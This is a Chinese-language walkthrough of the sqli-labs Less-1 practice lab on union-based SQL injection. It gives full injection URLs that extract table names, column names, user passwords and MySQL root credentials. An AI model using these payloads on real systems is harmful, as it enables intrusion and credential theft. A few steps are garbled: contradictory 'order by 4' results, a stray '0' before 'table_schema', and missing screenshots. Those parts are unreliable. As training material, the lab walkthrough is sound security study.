less-1 是字符注入,union注入的步骤一般有以下几步:
1、判断注入点
2、判断是整型还是字符型
3、判断查询列数
4、判断显示位
5、获取敏感信息

1、判断注入点
我们再Less1中看到,id将作为参数来使用,因此我们输入:
http://localhost/Less-1/?id=1
这是看到访问了第一个用户的用户名和密码:

 

此时加入单引号进行尝试,这里是在id后面加了一个单引号,这里发现了语句的错误。
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’ LIMIT 0,1’ at line 1
这是回显示数据库错误信息,这样就能判断出有注入点。这是一种比较简单的判断。


2、判断是整型还是字符型
可以输入:
http://localhost/Less-1/?id=1 and 1=1 和 http://localhost/Less-1/?id=1 and 1=2

 

这里我们从访问情况看,页面是没有任何变化的,就说明肯定是字符型。

3、判断查询列数
order by 函数是对MySQL中查询结果按照指定字段名进行排序。
输入 order by 4%23 发现页面错误,说明没有4列
输入 order by 4%23 发现页面正常,说明有3列

4、判断显示位

union是将两个select查询结果合并,我们可以在sqli-labs的数据库中测试一下该语句。然后开始开始查询库名,版本号,用户。

库名:

用户:

版本号:


5、获取敏感信息
到这里我们就可以尝试用union注入来获取敏感信息了。尝试将库名进行转码,然后爆出所有的数据表名:
http://localhost:55007/Less-1/index.php?id=1‘ and 1=2 union select 1, group_concat(table_name),3 from information_schema.tables where 0table_schema=0x7365637572697479 and ’1‘=’1

选取users这个表,继续进行转码,随后爆出users表下所有的列名:

http://localhost:55007/Less-1/index.php?id=1’ and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273 and ‘1’=‘1

http://localhost:55007/Less-1/index.php?id=1’ and 1=2 union select 1,password,3 from users --+

尝试查询数据库的用户名,密码:
http://localhost:55007/Less-1/index.php?id=1’ union select 1, User, authentication_string from mysql.user where User=‘root’ %23

这里没有出现想要获取的密码